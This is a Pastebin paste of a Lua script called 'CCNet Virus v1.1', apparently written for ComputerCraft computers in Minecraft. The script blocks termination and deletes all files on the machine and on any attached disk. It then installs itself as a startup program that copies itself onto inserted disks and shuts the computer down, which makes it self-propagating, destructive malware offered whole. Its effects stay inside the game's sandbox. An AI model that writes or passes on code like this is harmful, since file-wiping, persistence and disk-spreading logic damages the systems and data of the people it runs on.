Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- print("Welcome to CCNet Virus v1.1!")
- if #fs.list("/") > 0 then
- for i,file in ipairs(fs.list("/")) do
- if file ~= "disk" and file ~= "rom" and file ~= shell.getRunningProgram() then
- fs.delete(file)
- print("Deleting "..file.."...")
- end
- end
- fs.copy(shell.getRunningProgram(), "CCNetV")
- if fs.exists("disk") then
- for j,diskfile in ipairs(fs.list("/disk/")) do
- fs.delete("disk/"..diskfile)
- print("Deleting disk/"..diskfile.."...")
- end
- end
- startup = fs.open("startup", "w")
- startup.writeLine('if fs.exists("disk") and fs.exists("CCNetV") then')
- startup.writeLine(' fs.delete("disk/startup")')
- startup.writeLine(' fs.copy("CCNetV", "disk/startup")')
- startup.writeLine('end')
- startup.writeLine('os.shutdown()')
- startup.close()
- nodisk = fs.open(".nodisk", "w")
- nodisk.write("")
- nodisk.close()
- print("Thank you for your patronage!")
- print("This monitor will never display again in 10 seconds.")
- os.sleep(10)
- os.shutdown()
- end
Advertisement
Add Comment
Please, Sign In to add comment